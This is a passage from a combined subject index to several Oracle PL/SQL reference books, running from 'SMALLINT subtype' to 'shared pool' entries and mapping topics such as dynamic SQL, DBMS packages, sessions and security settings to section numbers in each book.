SMALLINT subtype: 4.2.2. Numeric Subtypes, Oracle PL/SQL Programming
SMB: 1.3.1. The Internet File System, Oracle Web Applications
SMTP: 1.3.1. The Internet File System, Oracle Web Applications
SNAPSHOT_TOO_OLD exception: 22.1.2. Package-Based Exceptions, Advanced Oracle PL/SQL Programming with Packages
SNP background processes: 13.2.1.1. JOB_QUEUE_PROCESSES , Oracle Built-in Packages
SOUNDEX function: 11.1.13. The SOUNDEX function, Oracle PL/SQL Programming
SQL
ALTER SESSION commands: C.12. DBMS_SESSION, Oracle PL/SQL Programming
DDL statements: (see DDL)
DML statements: (see DML statements)
I/O-intensive: 25.3.6. Use PL/SQL to Improve Performance of IO-Intensive SQL, Oracle PL/SQL Programming
PL/SQL in: (see stored functions, PL/SQL)
PL/SQL loops versus: 7.7.4. PL/SQL Loops Versus SQL Processing, Oracle PL/SQL Programming
calling functions in: 1.6.5. Calling Packaged Functions in SQL, Advanced Oracle PL/SQL Programming with Packages
calliong PL/SQL functions in: 25.3.2. Call PL/SQL Functions in SQL to Reduce I/O, Oracle PL/SQL Programming
client-side: 25.3.3. Avoid Client-Side SQL, Oracle PL/SQL Programming
dynamic
C.14. DBMS_SQL, Oracle PL/SQL Programming
1.4.4.2. Support for DDL and dynamic SQL, Oracle PL/SQL Programming
formatting statements: 3.2. Formatting SQL Statements, Oracle PL/SQL Programming
minimizing access to: 25.3.1. Use Package Data to Minimize SQL Access, Oracle PL/SQL Programming
statements, recursive processing in: 17.8.7. Recursive Processing in a SQL Statement, Oracle PL/SQL Programming
static vs. dynamic: 6.2.1. Types of Cursors, Oracle PL/SQL Programming
storing functions in: 1.4.4.1. Stored functions in SQL, Oracle PL/SQL Programming
viewing stored objects: 23.6. Using SQL to Examine Stored Objects, Oracle PL/SQL Programming
SQL %FOUND attribute: 6.9.5. Implicit SQL Cursor Attributes, Oracle PL/SQL Programming
SQL %ISOPEN attribute: 6.9.5. Implicit SQL Cursor Attributes, Oracle PL/SQL Programming
SQL %NOTFOUND attribute: 6.9.5. Implicit SQL Cursor Attributes, Oracle PL/SQL Programming
SQL %ROWCOUNT attribute: 6.9.5. Implicit SQL Cursor Attributes, Oracle PL/SQL Programming
SQL Navigator: 6.4. PL/SQL Tools, Oracle Web Applications
SQL Programmer: 6.4. PL/SQL Tools, Oracle Web Applications
SQL Station: 6.4. PL/SQL Tools, Oracle Web Applications
SQL function codes: 2.3.10.4. The DBMS_SQL.LAST_SQL_FUNCTION_CODE function, Oracle Built-in Packages
SQL language
building applications on: 1.2. What Are the Types and Layers of Packages?, Advanced Oracle PL/SQL Programming with Packages
SQL statements
(see also DDL statements; DML statements; long SQL statements)
1.6.1.5. Isolate volatile areas of functionality, Advanced Oracle PL/SQL Programming with Packages
2.2.6. DBMS_SQL Nonprogram Elements, Oracle Built-in Packages
combining into one program: 2.4.3. Combining Operations, Oracle Built-in Packages
constructing: 2.3.4. Binding Values into Dynamic SQL, Oracle Built-in Packages
binding versus concatenation
2.3.4. Binding Values into Dynamic SQL, Oracle Built-in Packages
2.3.4.1. The DBMS_SQL.BIND_VARIABLE procedure , Oracle Built-in Packages
executing: 2.3.1. Processing Flow of Dynamic SQL, Oracle Built-in Packages
function codes: 2.3.10.4. The DBMS_SQL.LAST_SQL_FUNCTION_CODE function, Oracle Built-in Packages
functions, invoking: 1.3.7.1. Calling a packaged function in SQL, Oracle Built-in Packages
parsing
2.3.1. Processing Flow of Dynamic SQL, Oracle Built-in Packages
2.3.3. Parsing the SQL Statement, Oracle Built-in Packages
deferred: 2.3.3.1. The DBMS_SQL.PARSE procedure, Oracle Built-in Packages
error position in: 2.3.10.1. The DBMS_SQL.LAST_ERROR_POSITION function, Oracle Built-in Packages
language version: 2.2.6. DBMS_SQL Nonprogram Elements, Oracle Built-in Packages
performance improvement: 2.4.5. Improving the Performance of Dynamic SQL, Oracle Built-in Packages
procedures, calling: 1.3.7.2. Using a packaged procedure from within SQL, Oracle Built-in Packages
SQL tracing, reasons for using: 7.3.8. Session Monitoring and Three-Tier Architectures, Oracle Built-in Packages
SQL%BULK_ROWCOUNT cursor attribute
5.2.2. ROLLBACK Behavior with FORALL, Guide to Oracle8i Features
5.4. Using Cursor Attributes, Guide to Oracle8i Features
SQL*Net
2.2.3. The HyperText Transfer Protocol (HTTP), Oracle Web Applications
2.5.5. Additional Security Precautions, Oracle Web Applications
SQL*Object Builder: 6.4. PL/SQL Tools, Oracle Web Applications
SQL*Plus
1.3.7. Fine-Grained Access Control (Chapter 8, Deploying Fine-Grained Access Control), Guide to Oracle8i Features
3.1.1. The Advantages of Definer Rights, Guide to Oracle8i Features
compiling code in: 15.1. Compiling PL/SQL Code in SQL*Plus, Advanced Oracle PL/SQL Programming with Packages
help script: 17.5.4. Building a SQL*Plus Help Script, Advanced Oracle PL/SQL Programming with Packages
initializing: 4.4.2. A PL/Vision Initialization Script for SQL*Plus, Advanced Oracle PL/SQL Programming with Packages
managing stored objects: 23.5. Managing Stored Objects with SQL*Plus, Oracle PL/SQL Programming
scripts included on disk: 4.6. Summary of Files on Disk, Advanced Oracle PL/SQL Programming with Packages
viewing compilation errors: 23.5.4. Viewing Compilation Errors in SQL*Plus, Oracle PL/SQL Programming
SQL/Expediter: 6.4. PL/SQL Tools, Oracle Web Applications
SQL99 compliance
1.3.9. Miscellaneous New Features and Performance Improvements (Chapter 10, More Goodies for Oracle8i PL/SQL Developers), Guide to Oracle8i Features
10.3. SQL99 Compliance, Guide to Oracle8i Features
SQLCODE
UTL_FILE and: 6.2.6.1. Handling file I/O errors, Oracle Built-in Packages
exception types and: 1.3.4. Exception Handling and Built-in Packages, Oracle Built-in Packages
SQLCODE function
6.2.1.3. Trapping system errors, Guide to Oracle8i Features
8.3.1. Named System Exceptions , Oracle PL/SQL Programming
8.6.3. Using SQLCODE and SQLERRM in WHEN OTHERS Clause, Oracle PL/SQL Programming
13.3.5. The SQLCODE function, Oracle PL/SQL Programming
SQLERRM
LAST_ERROR_POSITION and: 2.3.10.1. The DBMS_SQL.LAST_ERROR_POSITION function, Oracle Built-in Packages
UTL_FILE and: 6.2.6.1. Handling file I/O errors, Oracle Built-in Packages
exception types and: 1.3.4. Exception Handling and Built-in Packages, Oracle Built-in Packages
SQLERRM function
6.4.2. Obtaining the Error Message, Advanced Oracle PL/SQL Programming with Packages
8.6.3. Using SQLCODE and SQLERRM in WHEN OTHERS Clause, Oracle PL/SQL Programming
13.3.6. The SQLERRM function, Oracle PL/SQL Programming
SQLJ
1.1. What's in Oracle8i Release 8.1?, Guide to Oracle8i Features
1.3.7. Java, Oracle Web Applications
SQL_TRACE utility: 25.1. Analyzing Program Performance, Oracle PL/SQL Programming
SQL_string
EXECUTE IMMEDIATE statment: 4.2.1. The EXECUTE IMMEDIATE Statement, Guide to Oracle8i Features
OPEN FOR statement: 4.2.2. The OPEN FOR Statement, Guide to Oracle8i Features
SQRT function: 13.1.19. The SQRT function, Oracle PL/SQL Programming
SSL (Secure Sockets Layer): 2.5.5. Additional Security Precautions, Oracle Web Applications
STANDARD package
1.1. What Is a PL/SQL Package?, Advanced Oracle PL/SQL Programming with Packages
1.4.1. The STANDARD Package, Oracle Built-in Packages
8.3.1. Named System Exceptions , Oracle PL/SQL Programming
pinning in SGA shared pool: 25.2.2.1. Candidates for pinning in the shared pool, Oracle PL/SQL Programming
STARTUP events
1.3.5. New Trigger Capabilities (Chapter 6, New Trigger Features in Oracle8i), Guide to Oracle8i Features
6. New Trigger Features in Oracle8i, Guide to Oracle8i Features
6.2. Database-Level Event Triggers, Guide to Oracle8i Features
START_PROFILER function, DBMS_PROFILER package: 7.1.1. DBMS_PROFILER Programs, Guide to Oracle8i Features
START_QUEUE procedure
5.5. DBMS_AQADM: Performing AQ Administrative Tasks (Oracle8 only), Oracle Built-in Packages
5.5.2.2. The DBMS_AQADM.START_QUEUE procedure, Oracle Built-in Packages
C.3.2.6. The START_QUEUE procedure, Oracle PL/SQL Programming
START_TIME_MANAGER procedure
5.5. DBMS_AQADM: Performing AQ Administrative Tasks (Oracle8 only), Oracle Built-in Packages
5.5.7.1. The DBMS_AQADM.START_TIME_MANAGER procedure, Oracle Built-in Packages
STATUS_LINE procedure: 7.4.1.4. HTML and HTTP utilities, Oracle Web Applications
STEP syntax: (see numeric FOR loops)
STEP_ID function
4.2.1.1. DBMS_TRANSACTION programs, Oracle Built-in Packages
4.2.7.2. The DBMS_TRANSACTION.STEP_ID function, Oracle Built-in Packages
C.15.18. The STEP_ID function, Oracle PL/SQL Programming
STOP_PROFILER function, DBMS_PROFILER package: 7.1.1. DBMS_PROFILER Programs, Guide to Oracle8i Features
STOP_QUEUE procedure
5.5. DBMS_AQADM: Performing AQ Administrative Tasks (Oracle8 only), Oracle Built-in Packages
5.5.4.1. The DBMS_AQADM.STOP_QUEUE procedure, Oracle Built-in Packages
C.3.2.7. The STOP_QUEUE procedure, Oracle PL/SQL Programming
STOP_TIME_MANAGER procedure
5.5. DBMS_AQADM: Performing AQ Administrative Tasks (Oracle8 only), Oracle Built-in Packages
5.5.7.2. The DBMS_AQADM.STOP_TIME_MANAGER procedure, Oracle Built-in Packages
STORAGE_ERROR exception: 8.3.1. Named System Exceptions , Oracle PL/SQL Programming
STORE_VALUES procedure, OWA_OPT_LOCK package: 7.3.2.2. Procedures and functions, Oracle Web Applications
STREAM2MULTI, OWA_TEXT package: 7.2.1.2. Procedures, Oracle Web Applications
SUBMIT procedure
13.1.1. DBMS_JOB Programs, Oracle Built-in Packages
13.2.5.1. The DBMS_JOB.SUBMIT procedure, Oracle Built-in Packages
C.5.8. The SUBMIT procedure, Oracle PL/SQL Programming
SUBSTR function
A.2.5. Builtin Functions, Advanced Oracle PL/SQL Programming with Packages
10.1.3.4. nth_atomic function, Advanced Oracle PL/SQL Programming with Packages
8.1.1. DBMS_LOB Programs, Oracle Built-in Packages
8.3.2.4. The DBMS_LOB.SUBSTR function, Oracle Built-in Packages
9.2.3.14. The UTL_RAW.SUBSTR function, Oracle Built-in Packages
C.6.14. The SUBSTR function, Oracle PL/SQL Programming
11.1.14. The SUBSTR function, Oracle PL/SQL Programming
READ versus
8.3.2.3. The DBMS_LOB.READ procedure, Oracle Built-in Packages
8.3.2.4. The DBMS_LOB.SUBSTR function, Oracle Built-in Packages
for declaring long strings: 4.2.3.1. The CHAR datatype, Oracle PL/SQL Programming
SUBTRACT procedure
14.2.1. Getting Started with DBMS_REFRESH, Oracle Built-in Packages
14.2.3.2. The DBMS_REFRESH.SUBTRACT procedure, Oracle Built-in Packages
SUCCESS return code, DBMS_PROFILER package: 7.1.4. Profiler Return Codes, Guide to Oracle8i Features
SUSPEND_MASTER_ACTIVITY procedure
15.3.1.1. DBMS_REPCAT programs, Oracle Built-in Packages
15.3.7.1. The DBMS_REPCAT.SUSPEND_MASTER_ACTIVITY procedure, Oracle Built-in Packages
SWITCH statements: 6.2.3. Conditionals, Oracle Web Applications
SWITCH_SNAPSHOT_MASTER procedure
14.4.1.1. DBMS_REPCAT programs, Oracle Built-in Packages
14.4.6.1. The DBMS_REPCAT.SWITCH_SNAPSHOT_MASTER procedure, Oracle Built-in Packages
SYS schema: 7.3.1. Installing DBMS_RLS, Guide to Oracle8i Features
SYSDATE function: 12.1.7. The SYSDATE function, Oracle PL/SQL Programming
and NEW_TIME function: 12.2.2. Using NEW_TIME in Client-Server Environments, Oracle PL/SQL Programming
SYSEVENT attribute, database-level event
6.2. Database-Level Event Triggers, Guide to Oracle8i Features
6.3. Schema-Level Event Triggers, Guide to Oracle8i Features
SYS_CONTEXT function
8.1. FGAC Components, Guide to Oracle8i Features
8.4. SYS_CONTEXT and LIST_CONTEXT: Obtaining Context Information, Guide to Oracle8i Features
SYS_NC_OID$ column: 18.4.2.1. Object identifiers (OIDs), Oracle PL/SQL Programming
SYS_NC_ROWINFO$ column: 18.4.2.1. Object identifiers (OIDs), Oracle PL/SQL Programming
Savant Corporation: About Q, Oracle Built-in Packages
Secure Sockets Layer (SSL): 2.5.5. Additional Security Precautions, Oracle Web Applications
Sparc: 1.2.2.2. Developers must know too many platforms, Oracle Web Applications
Study Conduction, Institute for: 1.3.5. Encapsulating Access to the Built-in Packages, Oracle Built-in Packages
Sybase Transact-SQL: 1.2. And Then There's Java, Guide to Oracle8i Features
Symantec Visual Page: 1.3.9.2. Multimedia data, Oracle Web Applications
System Global Area (SGA)
(see also SGA)
pinning critical code into: 25.2.2. Pin Critical Code into the SGA, Oracle PL/SQL Programming
4.4.1. Binding Versus Concatenation, Guide to Oracle8i Features
tuning shared pool size: 25.2.1. Tune the Size of the Shared Pool of the SGA, Oracle PL/SQL Programming
sale package
(see also specific program names)
5.7.6. Using Time Delay and Expiration, Oracle Built-in Packages
save procedure: 5.25.7. Saving and restoring settings, Advanced Oracle PL/SQL Programming with Packages
save_message procedure, FORUM package
8.3.6. The FORUM Package, Oracle Web Applications
8.3.6.2. Body, Oracle Web Applications
save_user_info, FORUM_USERS package
8.3.5. The FORUM_USERS Package, Oracle Web Applications
8.3.5.2. Body, Oracle Web Applications
savepoints
(see also ROLLBACK procedure)
20.2.3. Setting Savepoints, Advanced Oracle PL/SQL Programming with Packages
2.4. Rules and Restrictions, Guide to Oracle8i Features
6.1.2. The ROLLBACK Statement, Oracle PL/SQL Programming
COMMIT statements and: 6.1.1. The COMMIT Statement, Oracle PL/SQL Programming
PLVlog: 21.1.5.2. How PLVlog manages the transaction, Advanced Oracle PL/SQL Programming with Packages
creating: 6.1.3. The SAVEPOINT Statement, Oracle PL/SQL Programming
savesrc procedure: 5.15.8. Saving and restoring repository settings, Advanced Oracle PL/SQL Programming with Packages
savetrg procedure: 5.15.8. Saving and restoring repository settings, Advanced Oracle PL/SQL Programming with Packages
saving
PL/SQL objects: 11.3.4. Saving and Restoring the Current Object, Advanced Oracle PL/SQL Programming with Packages
message text: 9.2. Storing Message Text, Advanced Oracle PL/SQL Programming with Packages
repository settings
12.8. Saving and Restoring Settings, Advanced Oracle PL/SQL Programming with Packages
5.15.8. Saving and restoring repository settings, Advanced Oracle PL/SQL Programming with Packages
table settings: 5.25.7. Saving and restoring settings, Advanced Oracle PL/SQL Programming with Packages
viewing stored code: 5.29. PLVvu: Code and Error Viewing , Advanced Oracle PL/SQL Programming with Packages
virtual REFs: 20.4.3. Storage of Virtual REFs, Oracle PL/SQL Programming
saving_src function: 5.15.8. Saving and restoring repository settings, Advanced Oracle PL/SQL Programming with Packages
saving_trg function: 5.15.8. Saving and restoring repository settings, Advanced Oracle PL/SQL Programming with Packages
scalar datatypes: (see datatypes)
scalar values
5.3. Bulk Querying with the BULK COLLECT Clause, Guide to Oracle8i Features
and aggregates: 17.8.2. Combining Scalar and Aggregate Values, Oracle PL/SQL Programming
binding: 2.3.4.1. The DBMS_SQL.BIND_VARIABLE procedure , Oracle Built-in Packages
scale: 4.2.1.2. Decimal numeric datatypes, Oracle PL/SQL Programming
scanning strings: 5.16.2. Scanning PL/SQL strings, Advanced Oracle PL/SQL Programming with Packages
schedule_pkg package
(see also specific program names)
5.7.7.2. Dequeuing messages when part of a group, Oracle Built-in Packages
scheduled links: 17.2.6. Scheduling Propagation (Oracle8 only), Oracle Built-in Packages
scheduling: (see deferred transactions; propagating messages)
scheduling jobs
C.5. DBMS_ JOB, Oracle PL/SQL Programming
1.4.5.3. Job scheduling with DBMS_ JOB, Oracle PL/SQL Programming
schema evolution
object types and: 18.6.3. Schema Evolution, Oracle PL/SQL Programming
object views and
20. Object Views, Oracle PL/SQL Programming
20.6. Schema Evolution, Oracle PL/SQL Programming
schema parameter, CREATE CONTEXT statement: 8.2. CREATE CONTEXT: Creating Contexts, Guide to Oracle8i Features
schema procedure: 5.8.3. Dumping the DDL, Advanced Oracle PL/SQL Programming with Packages
schema-level event triggers
1.3.5. New Trigger Capabilities (Chapter 6, New Trigger Features in Oracle8i), Guide to Oracle8i Features
6.2.1.3. Trapping system errors, Guide to Oracle8i Features
6.3. Schema-Level Event Triggers, Guide to Oracle8i Features
schema_name, trigger syntax: 6.3. Schema-Level Event Triggers, Guide to Oracle8i Features
schemas
(see also DDL)
PLVdyn and: 19.5.10. Executing PLVdyn in Different Schemas, Advanced Oracle PL/SQL Programming with Packages
analyzing: 10.1.2.2. The DBMS_UTILITY.ANALYZE_SCHEMA procedure, Oracle Built-in Packages
compiling: 10.1.2.5. The DBMS_UTILITY.COMPILE_SCHEMA procedure, Oracle Built-in Packages
names for, returning: 10.1.2.17. The DBMS_UTILITY.NAME_RESOLVE procedure, Oracle Built-in Packages
scope
3.8. Broadening the Scope, Advanced Oracle PL/SQL Programming with Packages
1.6.5. Scoping with nested blocks, Oracle PL/SQL Programming
2.7.2. Scope of a Block, Oracle PL/SQL Programming
15.3.4.2. Nested blocks provide scope, Oracle PL/SQL Programming
cursor: 15.3.5.4. Cursor scope, Oracle PL/SQL Programming
nested blocks and: 15.3.5.2. Scope and nested blocks, Oracle PL/SQL Programming
of cursor parameters: 6.10.3. Scope of Cursor Parameters, Oracle PL/SQL Programming
of cursor variables: 6.12.6.4. Scope of cursor object, Oracle PL/SQL Programming
of exceptions: 8.4.1. Scope of an Exception, Oracle PL/SQL Programming
of local modules: 15.7.5. Scope of Local Modules, Oracle PL/SQL Programming
of loops: 7.6.2. Loop Scope, Oracle PL/SQL Programming
of variables in dynamic SQL
2.4.8. Executing Dynamic PL/SQL, Oracle Built-in Packages
4.6.3. Dynamic PL/SQL , Guide to Oracle8i Features
scripts: (see code)
search engines: 1.2.1.1. Finding what you need, Oracle Web Applications
searching
for help text: 17.5.2. Locating Text in the Data Dictionary, Advanced Oracle PL/SQL Programming with Packages
and replacing text: 7.2.2. OWA_PATTERN: Searching and Replacing Text, Oracle Web Applications
for source code: 15.4.1. How to Find Source Code, Advanced Oracle PL/SQL Programming with Packages
second: (see date; time)
secondary_instance parameter: 7.6.1. Setting Version Compatibility and Queue Migration, Guide to Oracle8i Features
security
1.6.1.5. Isolate volatile areas of functionality, Advanced Oracle PL/SQL Programming with Packages
7.3.1. Installing DBMS_RLS, Guide to Oracle8i Features
7.6.1. CREATE_QUEUE_TABLE and MIGRATE_QUEUE_TABLE: Setting Version Compatibility and Queue Migration, Guide to Oracle8i Features
2.5. Database Security Review, Oracle Web Applications
3.1.1.2. Administer WebDB and database security, Oracle Web Applications
DBMS_PIPE and: 3.1. DBMS_PIPE: Communicating Between Sessions , Oracle Built-in Packages
UTL_FILE and: 6.2.1.3. File security, Oracle Built-in Packages
WebDB: 3.1.1.2. Administer WebDB and database security, Oracle Web Applications
access: (see access)
and PL/SQL cartridge: 4.2.3. Security Issues with the PL/SQL Cartridge, Oracle Web Applications
backups: (see backups)
distinguishing users: 7.2.4.2. Example, Oracle Built-in Packages
encrypting code: 23.7. Encrypting Stored Code, Oracle PL/SQL Programming
examples: 8.2.5. Security Privileges, Oracle Web Applications
managing with OWA_SEC: 7.4.2. OWA_SEC: Managing Security , Oracle Web Applications
system privileges: 2.5.3. Privileges, Oracle Web Applications
transaction integrity: 1.3.5. Guaranteeing Transaction Integrity, Advanced Oracle PL/SQL Programming with Packages
segspace package
(see also specific program names)
1.3.5.1. Examples of encapsulation packages, Oracle Built-in Packages
12.1.3.1. The segspace package, Oracle Built-in Packages
segspace.sql : 12.1.3.1. The segspace package, Oracle Built-in Packages
select lists: 6.4.2. PL/SQL Variables in a Cursor, Oracle PL/SQL Programming
semicolon (;): 2.4. The Semicolon Delimiter, Oracle PL/SQL Programming
sendto procedure
5.17.3. Selecting the log type, Advanced Oracle PL/SQL Programming with Packages
21.1.3. Selecting the Log Type, Advanced Oracle PL/SQL Programming with Packages
sepchar function: 6.2.6.3. Combining locations and filenames, Oracle Built-in Packages
seq procedure: 5.8.3. Dumping the DDL, Advanced Oracle PL/SQL Programming with Packages
sequence wizard, WebDB: 3.1.2.1. Building database objects, Oracle Web Applications
sequential control structures: 5.2. Sequential Control Statements, Oracle PL/SQL Programming
formatting: 3.3. Formatting Control Structures, Oracle PL/SQL Programming
sequential processing: 17.8.6. Sequential Processing Against a Column's Value, Oracle PL/SQL Programming
serializable isolation level: 6.1.4. The SET TRANSACTION Statement, Oracle PL/SQL Programming
serializing access, DBMS_LOCK and: 4.1. DBMS_LOCK: Creating and Managing Resource Locks, Oracle Built-in Packages
server port parameter, server settings: 3.2.3.1. Server settings, Oracle Web Applications
server procedure: 3.1.7.5. The pipesvr package, Oracle Built-in Packages
server-to-client communications: 2.2. Server-to-Client Communication, Oracle Web Applications
HTTP: 2.2.3. The HyperText Transfer Protocol (HTTP), Oracle Web Applications
TCP/IP networks: 2.2.1. The TCP/IP Network, Oracle Web Applications
URLs: 2.2.5. The Uniform Resource Locator, Oracle Web Applications
communication ports: 2.2.2. The Communication Port, Oracle Web Applications
resource MIME type: 2.2.6. The Resource MIME Type, Oracle Web Applications
web browsers: 2.2.4. The Web Browser, Oracle Web Applications
server_status procedure: 3.1.7.5. The pipesvr package, Oracle Built-in Packages
server_stop procedure: 3.1.7.5. The pipesvr package, Oracle Built-in Packages
servers
2.2.5. The Uniform Resource Locator, Oracle Web Applications
allowing file access to: 13.1.1. Enabling File Access in the Oracle Server , Advanced Oracle PL/SQL Programming with Packages
files: (see files)
PL/SQL integration with (example): 19.7. Example: PL/SQL-to-Server Integration, Oracle PL/SQL Programming
parallel server mode, testing for: 10.1.2.15. The DBMS_UTILITY.IS_PARALLEL_SERVER function, Oracle Built-in Packages
resource management: 12. Managing Server Resources, Oracle Built-in Packages
settings, WebDB: 3.2.3.1. Server settings, Oracle Web Applications
streaming: 1.3.9.2. Multimedia data, Oracle Web Applications
servlets, Java: 1.3.7. Java, Oracle Web Applications
sess1.sql : 11.1.4.3. The DBMS_SESSION.RESET_PACKAGE procedure, Oracle Built-in Packages
sess2.sql : 11.1.5.8. The memory procedure, Oracle Built-in Packages
session labels
setting format: 11.1.2.2. DBMS_SESSION.SET_MLS_LABEL_FORMAT procedure, Oracle Built-in Packages
setting value: 11.1.2.1. The DBMS_SESSION.SET_LABEL procedure, Oracle Built-in Packages
session names, returning unique name: 3.1.3.5. The DBMS_PIPE.UNIQUE_SESSION_NAME function, Oracle Built-in Packages
sessions
action names, returning: 7.2.2. The DBMS_APPLICATION_INFO.READ_MODULE procedure, Oracle Built-in Packages
identifiers for: 11.1.3.2. The DBMS_SESSION.UNIQUE_SESSION_ID function, Oracle Built-in Packages
enhancement
11.1.5.2. The unique_id function, Oracle Built-in Packages
11.1.5.4. The sid function, Oracle Built-in Packages
modifying settings: 11.1.2. Modifying Session Settings, Oracle Built-in Packages
monitoring: (see performance analysis)
obtaining information about: 11.1.3. Obtaining Session Information, Oracle Built-in Packages
enhancement: 11.1.5.3. The load_my_session_rec procedure, Oracle Built-in Packages
program names, returning: 7.2.2. The DBMS_APPLICATION_INFO.READ_MODULE procedure, Oracle Built-in Packages
resource management: 11.1.4. Managing Session Resources, Oracle Built-in Packages
session information: 11.1. DBMS_SESSION: Managing Session Information, Oracle Built-in Packages
settings, job execution and: 13.1.2.2. The what parameter, Oracle Built-in Packages
suspending with SLEEP: 4.1.2.5. The DBMS_LOCK.SLEEP procedure, Oracle Built-in Packages
tracing
another session: 11.2.2.3. The DBMS_SYSTEM.SET_SQL_TRACE_IN_SESSION procedure, Oracle Built-in Packages
same session: 11.1.4.5. The DBMS_SESSION.SET_SQL_TRACE procedure, Oracle Built-in Packages
user: 13.3.9. The USERENV function, Oracle PL/SQL Programming
set_author procedure
5.13.3. Setting the author, Advanced Oracle PL/SQL Programming with Packages
16.3.2. Setting the Code Author, Advanced Oracle PL/SQL Programming with Packages
set_context procedure: 22.3.3.2. Setting the context, Advanced Oracle PL/SQL Programming with Packages
set_current_row procedure: 7.3.9. Tracking Long-Running Processes, Oracle Built-in Packages
set_datemask function: 6.2. Setting the PL/Vision Date Mask, Advanced Oracle PL/SQL Programming with Packages
set_datemask procedure: 5.3.3. Setting the date format mask, Advanced Oracle PL/SQL Programming with Packages
set_dbtab procedure
5.17.6. Managing the log , Advanced Oracle PL/SQL Programming with Packages
21.1.3.1. Defining the database log table, Advanced Oracle PL/SQL Programming with Packages
set_delim procedure
5.11.3. Setting the operating system delimiter, Advanced Oracle PL/SQL Programming with Packages
13.2.1. Setting the Operating System Delimiter, Advanced Oracle PL/SQL Programming with Packages
set_dir procedure
5.11.4. Setting the default directory or location, Advanced Oracle PL/SQL Programming with Packages
13.2.2. Setting the Default Directory, Advanced Oracle PL/SQL Programming with Packages
set_factor procedure
5.27.3. Setting the factoring value, Advanced Oracle PL/SQL Programming with Packages
14.3.3. Setting the Timing Factor, Advanced Oracle PL/SQL Programming with Packages
set_id_default procedure
5.12.2. Setting the PLVfk configuration, Advanced Oracle PL/SQL Programming with Packages
19.6.2.1. Setting column name defaults, Advanced Oracle PL/SQL Programming with Packages
set_indent procedure: 16.3.1. Indentation in PLVgen, Advanced Oracle PL/SQL Programming with Packages
set_line_limit procedure
5.15.5. Managing the source WHERE clause, Advanced Oracle PL/SQL Programming with Packages
12.4.3. Setting a Line Limit, Advanced Oracle PL/SQL Programming with Packages
set_linesep procedure
5.2.2. Setting the line separator, Advanced Oracle PL/SQL Programming with Packages
7.2. The Line Separator, Advanced Oracle PL/SQL Programming with Packages
set_name procedure: 11.3.1. Setting Individual Elements of Current Object, Advanced Oracle PL/SQL Programming with Packages
set_nm_default procedure
5.12.2. Setting the PLVfk configuration, Advanced Oracle PL/SQL Programming with Packages
19.6.2.1. Setting column name defaults, Advanced Oracle PL/SQL Programming with Packages
set_nullval function: 6.1. Null Substitution Value, Advanced Oracle PL/SQL Programming with Packages
set_nullval procedure: 5.3.4. Setting the NULL substitution value, Advanced Oracle PL/SQL Programming with Packages
set_object procedure: 15.4.1. How to Find Source Code, Advanced Oracle PL/SQL Programming with Packages
set_overlap procedure
5.29.2. Setting the overlap, Advanced Oracle PL/SQL Programming with Packages
15.2.2. Setting the Code Overlap, Advanced Oracle PL/SQL Programming with Packages
set_pagesize procedure
5.14.2. Setting the page size, Advanced Oracle PL/SQL Programming with Packages
17.4.2. Setting the Page Size, Advanced Oracle PL/SQL Programming with Packages
set_prefix procedure
5.2.3. Setting the line prefix, Advanced Oracle PL/SQL Programming with Packages
5.25.6. Setting the row prefix, Advanced Oracle PL/SQL Programming with Packages
7.3. The Output Prefix , Advanced Oracle PL/SQL Programming with Packages
8.5. Setting the Display Prefix, Advanced Oracle PL/SQL Programming with Packages
set_repeats procedure: 5.27.2. Setting the repetition value, Advanced Oracle PL/SQL Programming with Packages
set_row procedure: 7.3.9. Tracking Long-Running Processes, Oracle Built-in Packages
set_savepoint procedure
5.23.4. Managing savepoints , Advanced Oracle PL/SQL Programming with Packages
20.2.3. Setting Savepoints, Advanced Oracle PL/SQL Programming with Packages
set_schema procedure: 11.3.1. Setting Individual Elements of Current Object, Advanced Oracle PL/SQL Programming with Packages
set_segment procedure: 12.1.3.1. The segspace package, Oracle Built-in Packages
set_sp procedure
5.17.7. Rolling back in PLVlog, Advanced Oracle PL/SQL Programming with Packages
21.1.5.7. Setting the post-insert savepoint, Advanced Oracle PL/SQL Programming with Packages
set_sql_trace procedure
11.1.5.1. Adding value to DBMS_SESSION, Oracle Built-in Packages
11.1.5.6. The set_sql_trace procedure, Oracle Built-in Packages
set_srcwhere procedure
5.15.5. Managing the source WHERE clause, Advanced Oracle PL/SQL Programming with Packages
12.4.2. Changing the WHERE Clause , Advanced Oracle PL/SQL Programming with Packages
set_stats procedure: 7.3.3. The set_stats Procedure, Oracle Built-in Packages
set_trace procedure: 11.2.3. DBMS_SYSTEM Examples, Oracle Built-in Packages
set_type procedure: 11.3.1. Setting Individual Elements of Current Object, Advanced Oracle PL/SQL Programming with Packages
set_vclen procedure
5.12.2. Setting the PLVfk configuration, Advanced Oracle PL/SQL Programming with Packages
19.6.2.2. Setting the default string length, Advanced Oracle PL/SQL Programming with Packages
setcase script: 18.1.2. A Script to Convert Programs, Advanced Oracle PL/SQL Programming with Packages
setcurr procedure: 11.3. Setting the Current Object, Advanced Oracle PL/SQL Programming with Packages
setpath procedure: 6.2.6.4. Adding support for paths, Oracle Built-in Packages
setsepchar procedure: 6.2.6.3. Combining locations and filenames, Oracle Built-in Packages
setsrc procedure
5.15.4. Managing the source repository, Advanced Oracle PL/SQL Programming with Packages
12.2.1. String Source or Target, Advanced Oracle PL/SQL Programming with Packages
12.3.1. Setting the Source, Advanced Oracle PL/SQL Programming with Packages
12.3.3. Using setsrc and initsrc, Advanced Oracle PL/SQL Programming with Packages
settrg procedure
5.15.6. Managing the target repository, Advanced Oracle PL/SQL Programming with Packages
12.5. Managing the Target Repository, Advanced Oracle PL/SQL Programming with Packages
setup.exe file: 4.3.3. Beginning the Installation, Advanced Oracle PL/SQL Programming with Packages
shared
functions: 23.1.2. Executing Functions, Oracle PL/SQL Programming
procedures: 23.1.1. Executing Procedures, Oracle PL/SQL Programming
libraries:
1.4.7.5. External procedures, Oracle PL/SQL Programming
3.1.2.3. Building shared components, Oracle Web Applications
for external procedures: 21.2.2. Step 2: Identify or Create the Shared Library, Oracle PL/SQL Programming
memory: (see memory)
pool
(see also pipes)
3.1. DBMS_PIPE: Communicating Between Sessions , Oracle Built-in Packages
12.2. DBMS_SHARED_POOL: Pinning Objects, Oracle Built-in Packages
memory freed and: 11.1.4.2. The DBMS_SESSION.FREE_UNUSED_USER_MEMORY procedure, Oracle Built-in Packages
pinning
cursors: 12.2.4.2. Pinning cursors into the shared pool, Oracle Built-in Packages
objects: 12.2.2.1. The DBMS_SHARED_POOL.KEEP procedure, Oracle Built-in Packages
packages at startup (example): 12.2.4.1. Pinning packages automatically, Oracle Built-in Packages
SGA: 25.2.1. Tune the Size of the Shared Pool of the SGA, Oracle PL/SQL Programming
size information
